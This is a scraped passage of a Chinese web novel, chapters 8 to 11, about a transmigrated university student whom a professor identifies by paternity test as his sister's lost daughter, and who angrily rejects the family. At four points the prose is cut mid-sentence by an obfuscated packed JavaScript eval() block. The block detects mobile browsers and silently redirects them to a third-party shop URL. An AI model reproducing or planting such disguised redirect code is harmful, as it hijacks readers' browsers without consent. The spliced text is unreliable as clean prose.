这一晚,祝容时虽然睡得早,但好在没有如往常一样梦魇缠身。 她一觉睡到天亮,然后从枕头底下摸出手机,解锁后去看群消息。 今天倒是一切如常,没有@全员的群通知。 祝容时看了眼时间,又看了看边上几个床位,见她们都还睡着,便也打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548353|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算再睡个回笼觉。于是她熟练的把手机放在枕边,安详的闭上双眼。 一个回笼觉睡醒,时间就走到九点半了,这时候舍友们都醒了,正躺着玩手机,祝容时翻身下床,走进卫生间。 站在镜子前,她仔仔细细打量自己,这张脸的确称得上好看,眉梢眼角都是和前生截然不同的风采,她看着这张脸的时候,有时会觉得有些陌生,但转念一想,这是她得到自由和新生的证明,于是便又觉得满足。 但昨天,那位同学将拍下的那位容若珩教授的照片,放在她面前,说他们有些相似的时候,她的心不可避免的慌了神。 昨夜洗漱时她没敢照镜子,她怕看到那些相似之处,更害怕自己此生会再度被束缚。 亲情是维系家庭的关键,家庭是人避风的港湾。 但亲情和家庭,也是这世上最大的囚笼。 她曾经便被这些所束缚、逼迫,最后走投无路,只能一死了之。 因为过于害怕重来一次还要被束缚,所以直到今早,她才鼓起勇气面对自己。 祝容时拿起手机,点开班级群,里面已经有同学将昨日任课教授的照片与一些基本信息发进群了。 她点开照片,一点一点放大看,然后再和自己进行对比,在看到只有眉眼处有几分相似,祝容时心满意足的放下手机。 这世上那么多长相相似的人,她和那位教授也只是一个巧合而已。 至于昨天那位教授突然询问她的名字,大概也只是因为她的成绩吧?毕竟这学校里没有多少人能经常拿奖学金。 找好理由,祝容时把那位教授的样貌彻底抛之脑后,刷牙洗脸换好衣服就走出卫生间,收拾东西去吃早饭。 大学食堂开门较早,但祝容时到的时候已经算是比较晚了,十点的这个时间尴尬的不上不下的;早上有课的已经在上课了,距离结束还有一个小时;下午有课的得要等到两点,所以大部分都不会来食堂就餐。于是这个时间,食堂里的人寥寥无几。 祝容时的早餐比较简单,一份卷肠加一份馅饼加一份鸡蛋羹加一杯豆浆,结算后端到窗边一边玩手机一边吃。 吃到一半,对面落座一位不速之客,她抬头扫了一眼,既没刻意去看也没注意看脸,只是又看了看周围空着的一张张餐桌,最后礼貌发言:“你好,隔壁还空着很多桌子,请问你可以去那里就餐吗?” 对方默不作声,祝容时看了片刻,见对面桌子上空无一物,决定不再理会,把对面那位当空气,低下头继续用餐。 对面的人静静看着她面不改色的一边玩手机一边吃东西,全然当他不存在一般,用餐速度堪称风卷残云,不多时餐盘里的东西就见了底。 此人沉吟片刻,随后十分突然的开口问祝容时:“吃饱了吗?需不需要再来点?” 祝容时一边喝豆浆一边震惊抬头看向对面的人,有点眼熟,但不记得是谁。 她咽下口里的豆浆,在脑子里搜索许久,没找到,于是点进班级群里,低头看了一会儿,然后抬头干巴巴的打招呼:“容教授早上好。” 容若珩十分平静的回道:“早上好。” 说完,他低头看了看手上的腕表,又补充了一句:“虽然现在已经不早了。” 祝容时怔愣片刻,实在不知道这句话该怎么回,于是只好低着头当作没听见。 容若珩又问了她一遍:“吃饱了吗?要不要再来点?” 祝容时沉默着摇了摇头:“不了不了。”她过会儿还要去吃午饭。 容若珩点点头,又问她:“今天你有什么安排吗?” 对面是教授,祝容时没办法,只好老老实实回答:“今天没课,没什么安排,打算过会儿去图书馆看书。” 容若珩又点点头,他沉吟片刻,道:“那请问有兴趣和我一起,去做个亲子鉴定吗?” 8. 08 容若珩这句话脱口而出的瞬间,祝容时便又一次愣住了,她呆呆看了片刻,脑子还没来得及从这骤然拐弯的话题里回神,下意识反问道:“亲子鉴定?我和您?为什么?” 容若珩面不改色十分平静的道:“因为我怀疑,你是我丢失的外甥女,是我姐姐容瑾瑜才出生不久就被人偷走的女儿。” 祝容时咽了口唾沫,干巴巴的道:“教授,您这种怀疑,听着好像挺没根据的……” 容若珩唇角微扬:“是很没有根据,但我昨天看了你的资料,我发现祝温如是你的曾用名。” “那请问这个名字有什么特别的地方吗?”祝容时深吸口气,冷静下来端起豆浆喝了一口。 “没什么特别的。”容若珩道,“但这个名字,是我为刚出生的小外甥女取的。” 祝容时哦了一声,反应平平淡淡。 容若珩没想到她会是这样的反应,一时间有些无所适从。 这个女孩没问他外甥女出身于怎样的家庭?没问他为什么孩子会丢失?也没问他如果他们亲子鉴定真有血缘关系的话会怎么样? 祝容时只是十分平静的问他:“容教授,只是做个鉴定的话,没必要非得我也到场吧?” 容若珩点点头:“你可以不到场,但我希望,你可以把鉴定的物品给我,我想知道结果是什么。” 在他话音落定后,祝容时抬手拔了几根头发将其包在一张餐巾纸里,向他递来:“这个可以吗?” 容若珩抬手接过,随后道谢:“谢谢。” 纸巾包裹着的东西到容若珩手上的一瞬间,祝容时的神色颇有些冷漠,良久,容若珩听见她说: “容教授,无论鉴定结果是什么,我都不想知道。” 容若珩一时间有些困惑:“为什么?” 祝容时直接回道:“因为我身边的大部分人,他们所有承受到的压力,都来自家这个地方。” 容若珩闻言,神色不禁有些凝重。 祝容时却已经很平静的在和他讲述曾经亲眼目睹的事迹:“我初中的时候有一位与我玩得比较好的学姐,她出身于普通家庭,虽然学习成绩不是很好,但她说她的父母都很爱她……后来,她在中考之后因为成绩不理想,去了一个三年制的专科学校,好不容易毕业,十八岁时把所有相关专业的证书都考到手了,但仅仅因为在家里待业半年,就被家人逼迫着去相亲了。” “十八岁因为待业半年被逼迫相亲……那一年她抵死不愿大闹一场,和家人闹得很僵,最后她的家人妥协了,那时她的家人承诺,以后不再逼她。” “第二年她进入工作了,每一天都很忙,但她的家人却因此更担心她的终身大事了,每每她休假回家,那些人总要想方设法逼迫她,她说那两年她和家人闹得很难看。” “年初,她迫于无奈,终于妥协答应相亲结婚了,她结婚前曾和我说:这个世界上,任何人爱你和对你好都是有条件的,包括生你养你的父母,有人真的爱你,但不会有人一直爱你!任何感情都不是天生的,当有一天,你做不到他们提出的要求,他们就会收回所有给你的爱,他们会用自己能想到的,所有这世上最恶毒的词汇来咒骂你、伤害你。” “因为只有最亲的人才最知道,刀子怎么捅,捅在哪里会最痛。” 说到这里,祝容时沉默了片刻,随后才接上:“我觉得我很好,但不认为别人也会觉得我好;我相信有人爱我,但不相信有人会无条件的爱我,更不相信有人会一直爱我;找到失去的孩子或许只是你们身上的责任使然,又或许是真心想要找到她关心她爱护她;但无论如何,这一切归根结底都是你们自己的想法,与我无关。” “所以无论结果如何,我都不想知道。我害怕这种事情发生在我身上,我不想要家人。” “我不知道它如果到来,对我而言意味着什么,是温暖的依靠?是避风的港湾?还是责任、是逼迫、是一辈子逃脱不了的囚笼……” “我一个人可以过得很好,我不想被所谓的家人以爱的名义,束缚我在囚笼之中,从此一生都失去自由选择的权利。” 直到听完这一通长篇大论的时候,容若珩才明白,为什么祝容时不想知道结果。 因为从来都无依无靠,因为这些发生在身边的,被家人逼迫的活生生的例子,所以她不期盼所谓的家庭美满,反而充满了排斥,更甚至于厌恶,她觉得家是无法逃离的囚笼,而这个囚笼之中充满了压迫。 他听着这些古怪的言论,一时间只觉得这女孩的思想简直离谱至极,但现在鉴定结果如何还未可知,于是他将所有想要反驳的话都压在心底。 “其他的暂且不提,我现在只问你一句话,如果鉴定结果是我所想的那样,你会想去见一见你的亲人吗?”容若珩平复片刻,缓缓开口问道。 这一次,祝容时没有毫不犹豫拒绝,只是给出了一个似是而非的答案:“如果他们只有我一个孩子的话,我会的。但我想他们的孩子应该不止我一个。” “他们见不见我,或者我见不见他们,其实都无所谓,过去这么多年都过来了,以后就这样继续下去也很好。” 说完,祝容时将手中的一次性杯子扔进垃圾桶,然后端起餐盘起身,礼貌道别:“教授再见。” 话音落下,她将餐盘放回早餐窗口旁边的桌子上,而后径直转身离开,未曾有一丝一毫的犹豫。 容若珩看着她离开的背影,既觉得她坚强,又觉得她孤单,或许是觉得她一路走来都只有自己一个人,不坚强也没办法,觉得孤单也只能勉强自己忘记,否则便没有办法走下去了。 她是真的坚强,可她真的孤单吗?一个人孤单与否,是真的全凭眼睛就能看见的吗? 此时此刻,容若珩并未如此这般想过。 出了食堂大门的祝容时抬头看了看天空,入眼是一片澄澈的蓝,一缕白都不曾有。 自来到这个世上一点点长大到如今,这样晴空一片万里无云的天空,她已经看过无数次了…… 她仰着头怔怔看了片刻,随后低头取出随身携带的耳机,连上便点进音乐软件听了起来。 耳中听着的内容是轻松舒缓的纯音乐,听着听着,便觉得身心都放松下来。 是啊,放松一点,世事无常而已,有什么好纠结的? 她当初选择跳下来的时候,也没想过自己会来到这书中世界生活这么多年啊!既然明知自己是来了书里,那为什么不干脆一点,兵来将挡水来土掩呢?这世上有什么东西什么人,是能逼迫她伤害她的? 既然没有,那她又何必杞人忧天?这不是自寻烦恼吗?正所谓世上无难事,只要肯放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无论最后会怎么样,但现在,他要知道这份鉴定会是什么结果!他要确认祝容时到底是祝温如?还是一个意外,亦或一个巧合…… 如果结果真如他所想的那样……那他想要告诉那个女孩,她的家人,她的家,不是她想象的那个样子的。 亲子鉴定出结果的时间大多都是一个星期的时间,但遇到特殊情况也可以加急,最快三个小时出结果。 容若珩将样本送到,支付费用之后便留在现场等待。 等待无疑是漫长的,容若珩本以为自己会紧张会不安,但其实他很平静,心里也不知是期待还是不期待。 他拿着手机,手指不停在通讯录页面滑动,但到底不曾选中某一个号码按下,结果此刻仍然未知,他不想让他们心生希冀,又希望落空。 等待的每一分每一秒都折磨人心,容若珩坐了将近一个小时,便坐不住了,他起身来到窗口,和工作人员留了个联系方式,便转身快步走了出去。 在他身后,是依旧忙忙碌碌的工作人员。 三个小时后,容若珩接到电话返回,赶在鉴定中心的人下班前,拿到了鉴定结果。 拿到那份薄薄的文件,容若珩长舒了口气,捂着扑通乱跳的心道谢后转身快步离开,回到车上,他深深吸了口气,才将文件打开。 结果落入眼中,也令他的心放回了肚子里。 他的怀疑没有出错,祝容时,就是祝温如。 9. 09 祝温如是谁啊? 在图书馆看书的时候,祝容时一边看一边漫不经心的想。 祝温如,是网络小说《白月光修炼手册》里的反派角色,是作者笔下一个标准的恶毒女配,是男女主爱情的拦路虎、垫脚石,却唯独不是她自己! 因为她的人生在最开始就被人掌控在键盘之下。 容若珩说,祝温如是他姐姐容瑾瑜的女儿,是他出生不久就被人偷走的外甥女,是他们,这么多年一直在寻找的人…… 可如果他们真的这么在乎她,当初祝温如怎么会被人偷走?为什么她只不过是改了个名字,他们就找不到她了?难道是这个世界神奇的剧情力量?所以这个世界剧情里的人物,找不到改名换姓的人? 而眼下,她才刚和谢君尧这个小说男主扯上关系多久,怎么立刻就有人注意到她了? 一连串的问题令祝容时脑子里杂乱无序,顺带着连书也看不进去,于是她干脆还了书回宿舍睡觉。 这一觉睡到下午五点,刚好到了开饭的时候,于是她走出宿舍楼准备去食堂用餐,然而才刚走出宿舍大门,她迎面便遇到了一位眼下十分不想看见的人物。 容若珩拿着鉴定结果,定定的向她走来:“祝容时,我想和你谈谈。” 祝容时当即一怔,随即她回道:“教授,我已经说过了,我不想知道结果。” 容若珩视若未闻,只自顾自道:“这里并不是适合说话的地方,还是你真想在这里谈?” 祝容时深吸了口气,心里一股无名火油然而生,语气也冷了许多:“我说过了,容教授,我不想知道结果!也不想和您谈!” 说完,祝容时越过容若珩便走下台阶。 容若珩被她森冷的语气震惊了片刻,但很快回过了神,他转身两三步走下台阶,一把抓住祝容时的手腕,顺势拉着她就往自己停车的地方走去。 手腕上传来的力道大得惊人,那是一种完全无法抗衡的压迫感。祝容时只觉得自己的尊严随着这股蛮力被一点点碾碎。 这时候本来就是学校就餐的时间,去停车场这一路上人来人往,不少人的视线往他们这里看来,其中也不乏有人指指点点。 祝容时不在乎别人的看法,但她知道积毁销骨的道理,于是她用力闭了闭眼,选择暂时妥协:“我自己走,你放开我。” 容若珩面不改色道:“拉着你我比较放心,别怕,不会有任何流言蜚语,就算有,容家也会解决的。” “然后,”祝容时冷冷道,“我凭本事得到的一切,最后都会归功于你口中的容家。我这么多年的坚持和努力都会彻底不复存在。” 容若珩淡淡道:“不会,别担心,这些事情很好解决,并不会如你所想的那样。” 祝容时反问:“那你说会是哪样?” 容若珩一怔,手上的力道不自觉松了些许,祝容时趁此机会挣开他的手:“我最讨厌的就是不尊重我的人。” 闻言,容若珩当即便愣住了,伸出的手也僵在了半空。 祝容时揉了揉被捏疼的手腕,一字一句近乎咬牙切齿:“容教授,您在这世上活了这么多年了,难道都没有人教过你,要懂得尊重他人意愿吗?” “还是你从心里就认定,我祝容时一个孤儿,根本不必被人尊重?” 字字句句,清晰入耳,却震得人久久不能回神。 容若珩面色一变,他下意识开口想要解释,但思及方才的举动,所有言语在此刻都显得无比苍白。 就在二人僵持这片刻工夫,一辆车好巧不巧停在了他们面前。 车上下来了一位年轻人,那人一身休闲服饰,五官精致眉眼锐利,与祝容时至少有五分相似。 此人刚下车便走到了容若珩身边,唤了一声:“舅舅。” 随后便将目光移到了祝容时身上,在看见她的一瞬间,神色莫名。 祝容时在看到此人的瞬间,忍不住笑了,她扫了此人一眼,随后将目光落在容若珩身上:“容教授,我记得你刚才说的是,你想和我谈谈,这其中并不包括其他人吧?” 容若珩沉声道:“是。” “既然这样,那我们还有谈的必要吗?”祝容时道。 容若珩沉默了,他想到这个人会来,却唯独没想到,他来得这么快。 这人是祝容羲,是容瑾瑜和祝盛蹊的长子,也是祝容时的大哥。 祝容羲在容若珩与祝容时二人之间打量片刻,最后十分平静的道:“我是其他人吗?” 祝容时眼下看谁都不顺眼,听到这句话当即反问:“不是吗?” 祝容羲沉默片刻,开口道:“我是你大哥。”不是其他人。 这话一出,祝容时当即便笑了:“我都当了这么多年孤儿了,怎么以前从没人出现在我面前,说什么我是你大哥啊?” 祝容羲道:“以前没找到。” 祝容时:“难不成现在是你找到的?” 祝容羲声音低了不少:“以前没有想到,你就在这里……” “所以你们过去的十多年里是去全国各地大海捞针了?没想到我在这里?那我过去的十多年里要是有一天偷懒懈怠,导致昨天没能坐在容教授的课堂上,是不是你们就永远找不到我了?”祝容时的语速不快不慢,刚好够他们听清。 “所以并不是你们找到我,而是我凭本事站到了你们面前,才会让你们纡尊降贵的看我一眼,怀疑并发现我的身份!否则的话,为什么我只是改了个名字,你们就找不到祝温如了呢?” 言辞犀利,角度清奇,祝容时这张嘴是十足十的气人,也是十分的得理不饶人。容若珩和祝容羲被她气得面色发白: “你怎么能这么想我们?” “怎么不能?为什么不能?凭什么不能?”祝容时激烈反驳,“我一早就说了,我对鉴定结果没有兴趣,“没有”这两个字跟难理解吗?为什么你们一个个都无视我的意愿?对我发出的声音视若未闻?!既然在找我那为什么找到我却不尊重我?!” “尊重一个人很难吗?还是尊重我,听听我说的话很难?是我说的不是人话,还是我不配让你们尊重?” 祝容时红着眼控诉着,言辞激烈,态度决绝,谁也没有想到,她的反应会这样剧烈。 为什么?为什么无论是前生还是今世,这些和她扯上点关系的人,都要来对她指手画脚?宣翾是,现在的容若珩也是……她就那么没有资格让人尊重吗?为什么每一次都要她激烈的反抗控诉,这些人才会愿意纡尊降贵的来听听她发出的声音? 容若珩终于放下手,但他的手却已经颤抖的不成样子,他上前几步,声音弱了不少,祝容时听见他说:“我只是想让你见一见你的亲人,然后一起吃一顿饭,再好好聊聊。” 祝容时哼笑一声,把他说的话当屁放了:“容教授,您一开始可没和我这么说过。” “再者,我只说对结果没有兴趣,但似乎从没有说过不愿意见他们,我的态度很明确,一直都是可以见面,但要我主动去见他们是不可能的!我更不可能和他们住在一个屋檐下!” 祝容羲从未想到,自己一家人找了这么多年的妹妹,会是这样一个人。 他静静地打量着祝容时,不曾有一瞬移开视线,她和父亲祝盛蹊长得很像,唯独眉眼像极了母亲,明明这么像,为什么性情如此激烈,和他们几乎天渊之别…… 是因为这么多年一直流落在外的原因吗?还是她生性如此? 祝容羲不知道,但他现在,对这位妹妹的第一印象,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548355|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实大打折扣,她很特别,但不像他期待中妹妹的样子。 良久,祝容羲上前一步,伸出手:“我是祝容羲。” 他没有再说自己是她大哥的言论,他想从一个普通路人开始,慢慢了解他失散多年的妹妹。 祝容时看着他伸出的手,视线在他的手和容若珩身上来回,终于,她伸出手,轻轻与他相握:“祝容时。” 祝容羲很有分寸,轻轻一握随即松开:“可以找个地方坐一会儿吗?我想和你说几句话。” 祝容时沉吟不语,心里暗忖祝容羲和容若珩此人表面上看的确不同,但有句话叫不是一家人不进一家门吗?人都是会伪装会演戏的。 祝容羲从她的沉默中看见了她的拒绝,于是选择再退一步,他回到车上取下一份来之前就已经准备好的资料,递到祝容时面前:“这是我准备好的家人的资料,我希望你可以看看。” 祝容时抬手接过,祝容羲松手的时候,忍不住开口问她:“你的名字本该是祝温如,“温如”这两个字刻在舅舅送你的长命锁上,这东西是我们找寻你的线索,我们以为你会一直都叫这个名字……为什么会改了名字?” 祝容时现下也平静了些许:“因为我不喜欢那个名字。” “那我可以问问,是谁为你取的这个名字吗?”祝容羲道。 “这与你无关。”祝容时拿着资料的手放下,“还有别的事吗?” 祝容羲摇摇头:“没有了。” 祝容时点点头:“那就有缘再见。” 话音落下,祝容时转身走向学校食堂。 转身的瞬间,祝容时藏在袖子里的手微微颤抖,但她死死掐着掌心,没有让自己露出半分软弱。 容若珩与祝容羲静静的看着她离开,直到再看不见她的背影。 片刻后,容若珩上前一步,抬手拍了拍祝容羲的肩膀:“走吧,先回去和你父母说一下她的情况。” 祝容羲摇了摇头,转身走向匆忙之中停在路上的车,容若珩落后他两步。二人一前一后坐上车,而后掉头离开学校。 车子驶出校门,祝容羲看着前方,突然没头没尾的说了一句话:“她像一只刺猬。” 容若珩没听清:“什么?” 祝容羲道:“容时,她像一只刺猬,提防着每一个突然出现在她身边的人。” 容若珩顿时愣住了:“可她为什么?”鉴定结果都出来了,为什么她会有那么大的反应? 祝容羲沉吟片刻,道:“让人去查查,我想知道她这些年到底经历了什么。” 容若珩闻言轻轻摇头:“我已经让人查过了,她过去这些年日子过得不说有多顺利,但称得上是平淡无波的,除了前几日,意外遇见了谢氏集团现任掌权者。” “谢君尧?”祝容羲面露不解,“今天之前,他和容时是天差地别吧?他怎么会和容时有联系?” 容若珩道:“是因为他的终身大事,和一个名为宣翾的女孩牵线搭桥。” “他还拿出了一份合约,容时和他领证结婚,他给容时一个亿和一套房。” 祝容羲想都不必想便知道结果:“容时拒绝了,并且怀疑他居心不良,进而也怀疑我们这些突然出现的所谓亲人。” 她生活在普通人的世界里,害怕着未知的一切,尤其当那一切与他们这些家世不凡的人有关系的时候,她会更加警惕,她除了一条命什么都没有,每个不寻常的人出现在她身边,她都会忍不住怀疑,那人是不是对她别有所图。 容若珩无奈长叹一声:“对她,我现在是真没辙了,这几天你让人注意着,今天闹的这么难看,也不知道后面会不会有什么流言蜚语,如果有你处理一下,别影响到她。” 祝容羲点头应下:“我知道了。” 10. 10 车子停在一座欧式大别墅门前,二人一前一后下车,在门前停了片刻,才终于提步迈入。 里面,祝家一家人已经等候许久。 祝盛蹊紧紧握着容瑾瑜的手。不时轻拍手背以做安抚,祝雅言坐在一旁,不时向门口张望。 在看到门被启开的瞬间,三人均起身走了过来,见只有祝容羲和容若珩,还颇为震惊:“不是说,去接温如回家,怎么……” 祝容羲走进家门:“事情太突然了,她需要一点时间接受,所以就我们自己回来了。” “另外,”祝容羲走到容瑾瑜身前,低声道,“她不叫温如这个名字,她现在的名字是容时。” 祝盛蹊闻言,随即抬眸看向容若珩,容瑾瑜垂着眼眸,不知在想些什么。 良久,容瑾瑜道:“这么多年了,就知道找祝温如,却从没找过其他姓祝的……” 他们设想了万千可能,唯独没想过她改了名字。 “是我们想远了,一直以为她被带到了这个世界的某个角落,从始至终未曾想过她一直都在这里……”祝盛蹊面色一变,又一次开始自责。 容瑾瑜面露失落,转身坐回沙发上:“容时,她是一个怎样的人?” 容若珩闻言,抬眸看向祝容羲,想听听他怎么说,但祝容羲未曾开口,于是他道:“姐,我与她也才见过两三次,了解不深,单从资料上看,她是一个很坚强努力的女孩,成绩一直名列前茅;私下为人,她的同学都说,她是一个待人真诚、温柔聪明、乐于助人的人。” 容瑾瑜点了点头,随口问道:“今天你们去见她的时候,她是什么反应?” 容瑾瑜这个问题脱口而出的瞬间,众人都敏锐的觉察到,家里的气氛不对劲了。 祝盛蹊和祝雅言的视线在容若珩和祝容羲之间来回,最终落在了祝容羲身上。 祝容羲沉吟良久,第一次觉得,如实相告很有难度。 容若珩长叹一声,随后十分艰难的开口:“我们见到的她,真诚、聪明、但不温柔、得理不饶人、防备心极强,以最大的恶意揣测每一个突然出现在身边的人。我和容羲,都没能让她信任。” 众人闻言,不约而同的有些僵硬。 祝容羲沉吟片刻,道:“她是个刺猬一样的女孩,我觉得,她从未信任过任何人,对所有人都心怀戒备。” “我见到她的时候,她的情绪很不稳定,我不想再刺激她,所以把家里人的资料给了她就和一起舅舅回来了。” 祝盛蹊点了点头:“原来如此。” 祝盛蹊话音落下,在场却无一人出声了,偌大的客厅里寂静得几乎落针可闻。 良久,祝雅言才开口,打破这诡异的沉默气氛:“她会想见我们吗?” 祝容羲摇了摇头:“她说愿意和我们见面,但不愿意和我们住在一起。” “为什么?”祝雅言不解。 一般按照常理来说,丢失的孩子找到了亲人,不是都会和亲人一起回家吗?为什么她不一样? “我也不知道。”祝容羲道。 话音落下,他的视线落在容若珩身上。 果不其然,下一瞬,容若珩开口了:“她说,她不知道家和家人对她而言是什么。是温暖的依靠,还是一个充满了逼迫的囚笼。” “她说相信有人爱她,但不相信有人会一直爱她。所有人爱她都是有条件的,当她做不到的时候,得到的一切就会被收回。她觉得,与其拥有再失去,不如从来没有。” 这一次,沉默再无人打破,人的思想根深蒂固,她的思想因过去而成,对此,他们无计可施。 与此同时,学校食堂里,祝容时端着餐盘,再度坐在了早上坐过的位置上。 用餐结束后,她拿起一直放在桌上的资料,打开细细看了起来。 那资料只是薄薄的几张纸,里面有祝家和容家所有人,以及他们各自的联系方式,她的手指落在每一个名字上,却始终不曾停留。 视线落在容瑾瑜的那一页时,她看着照片中的人,久久未能回神。 像吗?其实不像,容貌、社会身份,身高血型、兴趣爱好,都和记忆中的那个人不像。 可为什么,她会是她的母亲呢?明明一点都不像…… 这一世的父母,除了她还有另外两个孩子,所以……他们为什么还要找她呢? 视线不知不觉间模糊,泪珠滴落在纸张上,留下了一点细微声响和一点水印。 祝容时今天没有留在宿舍,明后两天是周末,她要出去兼职,所以在用餐之后,便匆匆打车赶回出租屋了。 她回到出租屋的时候已经是晚上七点半了,天已经暗了下来,屋里的摆设维持着她离开时候的样子,被窝也还是一团乱,但这次没有人举着手机进来拍照录视频,然后发布到诸多短视频软件,让她遭受网络攻击…… 换了鞋子,她把文件放到一边,洗漱完毕换了睡衣就倒在床上,拉过被子盖过头顶。 被子下面的人一直都很平静,这种平静一直持续到第二天清晨。 祝容时醒来的时候,天刚蒙蒙亮,她拿过手机看了眼时间,随后起身做早餐,吃过早点后洗漱换衣服,然后带上设备,出门去上班。 适合大学生的周末兼职就那么几个,家教是最优选,但祝容时不怎么喜欢接触未成年人及其家庭。所以在大一那年兼职之后就再没接触过这份职业了。 她现在的兼职是在每个周末的时候,去古代服饰体验馆充当临时摄影师。 前生的她对摄影其实没多大兴趣,大多数时候只是拍了玩玩,不过是因为有一个人在她生存于世的意义遭受最残忍的否定时,通过一张照片给了她最大的肯定。 所以,这一生在手有余钱时,她因为那一句肯定,购置了一套拍摄设备,她想试着去做一个新的自己。 三月份的A城还有些冷,周末体验馆也没有多少人,因为既不是节日放假,也没有什么特定活动,这一天祝容时从早到晚也只拍了寥寥几人。 下午五点,祝容时准点下班,但她没着急回家,而是坐在公园里调试设备,调整好之后,她将设备放回包里,站起身准备离开,但抬眸一看,太阳还未完全落下。 她突发奇想拿起手机,对着好不容易才出现的落日拍了一张。 照片并没有多好看,不过胜在画面比较唯美协调。 看着这张照片,祝容时觉得比较满意,于是开始寻找另一个角度,想着再拍一张。 她站起身离开原位,背着包找到了一个有树木遮挡的地方,举起手机放在眼前,越过树叶的遮挡将镜头对准了落日的时候,一道身影通过手机摄像头也进入了她的眼中。 她的手机像素不好,背着光也看得并不是特别清楚,她也并不很想看清楚,于是她将手机往旁边移动,直到画面里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548356|204250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再没有那个身影,才按下拍摄。 拍照完毕,祝容时将手机放到面前,点开查看,手机屏幕里,是穿过树叶的光,与正午时分阳光穿透云层时拍摄出的照片不同,她的手机屏幕里,含着无尽的生机与希望。 她看着手机里的相片,笑意弥漫于眼中,在唇角绽开,虽然微小,却很明显。 下一瞬,树枝折断的细微声响传入耳中,她抬眸看去,却见一位高挑俊雅的男子,正站在距离她不远处。 他一身西装革履,分明和公园里放松舒适的环境显得格格不入,但他静静地站在那里,却让人觉得与此处情景十分融洽和谐。 祝容时装作无意一般,默不作声的欣赏了一会儿这位十分难得一见的美男子,随后便打算往旁边走去。 然而下一刻,一道清冷低沉的声音传来:“你好。” 祝容时下意识抬头。 那人一步步,不疾不徐地向她走来,随后停在离她三步远的位置,保留了一个礼貌的距离:“请问,你方才拍了照片吗?” 这个问题问得莫名其妙,祝容时抬头看了看他,随后才默默颔首。 那人沉吟片刻,道:“我可以,看一看吗?” 祝容时闻言,戒备之心顿时油然而生,但转念一想,这是在公园,眼前这人衣着得体、样貌出挑,一看就不太可能会对她做出什么恶意的举动;更何况手机在她手里,只是她拿着让他看一看照片的话,应该是不会有什么问题的。 于是,她将手机解锁,然后往前,递到那人眼前。 那人垂眸看了看,十分莫名其妙的说了一句话:“还以为会入镜,成为你照片中的一抹风景。” 祝容时不知道他的言下之意,于是只平静道:“我的手机不拍人,只拍景。” 那人轻轻颔首:“多谢。” 祝容时点点头,没回答,收回手机便将其熄屏了。 下一瞬,一张名片被一只修长笔直,骨节分明的手递到眼前:“我姓顾,顾星河。” 祝容时静默片刻,抬手接过那一张薄薄的名片,抬眸看向眼前人,伸出右手:“祝容时。” 话音落下的瞬间,微风吹来,拂过树梢,撩动了她垂落在身后的长发。 两手相握片刻,很快分离,祝容时一手握着手机,另一手拿着名片,率先一步转身离开,留下身后那人转头看向天边落日。 此时此刻,日往西沉,为遥不可及的天际,染上千重暮色。 到家之后,祝容时点开手机屏幕看了许久,又将其与之前的相片对比,实在看不出什么区别。 祝容时喃喃自语:“这照片到底哪里特别了?”不是对着太阳随手一拍就成了吗?那个人干嘛要看?还有这张名片…… 思及此,祝容时把手机放到床头充电,随后躺在床上细细端详那张名片。 仍旧是平平无奇,没什么特别的。唯一特别的就是,这张和以前见过的不一样。 名片用料都如此与众不同的人,莫名其妙来与她交谈做甚?难道真只为了看那一张照片? 祝容时本不想恶意揣测别人,却不知道怎么的,她在得知自己穿书之后,就很神经质的觉得每个出现在身边的人对她都怀没多少好意。 不过好意也好,恶意也罢,左右她都不会与其有太多接触。 打定主意,祝容时将名片放进床头抽屉的最下层,让它永远不见天日。 11. 11 第二天清晨,太阳照常升起,祝容时从被窝里探出手,一把握住床头柜上的手机,解锁看时间和消息。 现在早上七点半,班级群里依旧维持着周四的消息,并没有出现新的信息,不过骚扰拦截提示手机拦截了几次陌生人来电。 她点开看了一眼,觉得拦截号码有些熟悉,于是翻身起床,把自己随手放在桌上的祝容羲给她的资料打开,果不其然,拦截号码一一对上了祝家人的联系方式。 祝容时昨天不曾想过联系他们,也并不觉得,他们会主动联系她,毕竟之前她的态度那么恶劣…… 谁会喜欢像她这样的人呢? 源自前生血脉相连中最坚决的否认,早已在她放弃生命的时候就刻入骨髓,她想反驳,却恍惚惊觉根本没有必要,事已隔世,她已经反驳不了了。 在那个世界,谁都不会在意她发出的声音,也不会想知道,她究竟发出怎样的声音,在这个世界,或许也同样…… 